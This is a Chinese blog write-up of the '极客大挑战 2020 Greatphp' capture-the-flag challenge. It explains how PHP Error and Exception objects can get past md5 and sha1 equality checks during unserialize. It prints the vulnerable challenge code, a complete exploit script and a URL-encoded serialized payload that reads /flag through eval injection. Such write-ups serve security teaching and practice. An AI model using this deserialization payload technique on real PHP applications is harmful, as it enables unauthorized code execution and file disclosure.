[极客大挑战 2020]Greatphp
浏览 1198 | 评论 0 | 字数 6186
硝基苯
2022年02月08日
  • 知识点:

    • <? ?>相当于对<?php ?>的替换。而<?= ?>则是相当于<?php echo ... ?>
    • 反序列化首先会调用__wakeup()魔术方法
    • PHP 原生类中Error和Exception利用

    Exception类

    Exception 是所有异常的基类,该类是在PHP 5.0.0 中开始引入的

    类摘要
    Exception {
        /* 属性 */
        protected string $message ;
        protected int $code ;
        protected string $file ;
        protected int $line ;
        /* 方法 */
        public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
        final public getMessage ( ) : string
        final public getPrevious ( ) : Throwable
        final public getCode ( ) : mixed
        final public getFile ( ) : string
        final public getLine ( ) : int
        final public getTrace ( ) : array
        final public getTraceAsString ( ) : string
        public __toString ( ) : string
        final private __clone ( ) : void
    }
    类属性:
    message:异常消息内容
    code:异常代码
    file:抛出异常的文件名
    line:抛出异常在该文件中的行号
    类方法:
    Exception::__construct — 异常构造函数
    Exception::getMessage — 获取异常消息内容
    Exception::getPrevious — 返回异常链中的前一个异常
    Exception::getCode — 获取异常代码
    Exception::getFile — 创建异常时的程序文件名称
    Exception::getLine — 获取创建的异常所在文件中的行号
    Exception::getTrace — 获取异常追踪信息
    Exception::getTraceAsString — 获取字符串类型的异常追踪信息
    Exception::__toString — 将异常对象转换为字符串
    Exception::__clone — 异常克隆

    可以看到Exception中存在__toString方法。我们尝试触发其方法

    <?php
    $a = new Exception("payload",1);
    $b = new Exception("payload",2);
    echo $a;
    echo "\r\n\r\n";
    echo $b;

    返回的结果
    可以看到payload作为异常信息被输出,Exception的行号也被输出,但是异常代码并未输出
    21014-qyjby18ufh.png
    所以当他们在一行时

    <?php
    $a = new Exception("payload",1);$b = new Exception("payload",2);
    echo $a;
    echo "\r\n\r\n";
    echo $b;

    因为echo,所以有了string,string内容相同,但是类本身因为code不同而不同
    63753-7pieucic738.png

    Error类

    Error 是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的。

    类摘要:
    Error implements Throwable {
        /* 属性 */
        protected string $message ;
        protected int $code ;
        protected string $file ;
        protected int $line ;
        /* 方法 */
        public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
        final public getMessage ( ) : string
        final public getPrevious ( ) : Throwable
        final public getCode ( ) : mixed
        final public getFile ( ) : string
        final public getLine ( ) : int
        final public getTrace ( ) : array
        final public getTraceAsString ( ) : string
        public __toString ( ) : string
        final private __clone ( ) : void
    }
    类属性:

    • message:错误消息内容
    • code:错误代码
    • file:抛出错误的文件名
    • line:抛出错误在该文件中的行数

    类方法:

    • Error::__construct — 初始化 error 对象
    • Error::getMessage — 获取错误信息
    • Error::getPrevious — 返回先前的 Throwable
    • Error::getCode — 获取错误代码
    • Error::getFile — 获取错误发生时的文件
    • Error::getLine — 获取错误发生时的行号
    • Error::getTrace — 获取调用栈(stack trace)
    • Error::getTraceAsString — 获取字符串形式的调用栈(stack trace)
    • Error::__toString — error 的字符串表达
    • Error::__clone — 克隆 error

    Error类也同样如此。本题将以Error类进行示范

    步入正题

    题目代码

    <?php
    error_reporting(0);
    class SYCLOVER {
        public $syc;
        public $lover;
    
        public function __wakeup(){
            if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
               if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
                   eval($this->syc);
               } else {
                   die("Try Hard !!");
               }
               
            }
        }
    }
    
    if (isset($_GET['great'])){
        unserialize($_GET['great']);
    } else {
        highlight_file(__FILE__);
    }
    
    ?>

    首先看到熟悉的php弱类型比较的考点

    if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )

    但是因为下面有个eval,eval需要接收字符串。如果是数组则会报错,所以不能用数组来绕过。这里因为第一个是比较相等,用前面的知识点,Error内置类相等,md5sha1时会转化为string类型,所以触发__toString

    其次看到,eval的参数存在过滤。我们不能用(),意味着我们只能用语句。并且不能eval(`whoami`)这样嵌套的操作
    if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match))
    只能包含读flag,利用include或require

    本地测试

    如果我们用Error内置类,到eval时,里面的参数如下
    14195-bf3eqehimp5.png
    eval会将string的值作为参数的字符串进行解析。我们需要payload干净的执行,目前前面有”Error:”后面有一串
    所以闭合
    17877-4ivu7rz0k86.png
    执行到eval时,eval相当于生成个新的php页面
    84696-9pf2gveolps.png
    成功闭合,然后执行了phpinfo();
    68402-pvtf1mo370l.png

    回到题目本身

    我们的payload应该是
    ?><? include “/flag”?>
    但是被过滤
    所以要用一些字符串的操作来绕过对引号的限制
    考虑对/flag取反(因为取反后再取反就回来了)

    $in = ~("/flag");
    $payload = "?><? include~".$in."?>";

    最终形成exp

    <?php
    class SYCLOVER {
        public $syc;
        public $lover;
    
        public function __construct($b,$c){
            $this->syc = $b;
            $this->lover = $c;
        }
    $in = ~("/flag");
    $payload = "?><?=include~".$in."?>";
    $b = new error($payload,1);$c=new error($payload,2);
    $a = new SYCLOVER($b,$c);
    echo(urlencode(serialize($a)));
    ?>

    生成
    O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A31%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Cti%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A33%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A31%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Cti%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A33%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D
    得到flag
    44685-y2qs7w7df5.png


    参考:
    https://www.anquanke.com/post/id/238482#h2-5

    本文作者:硝基苯
    本文链接:https://www.c6sec.com/index.php/archives/605/
    最后修改时间:2022-02-08 21:24:04
    本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!
    评论已关闭
    评论列表
    暂无评论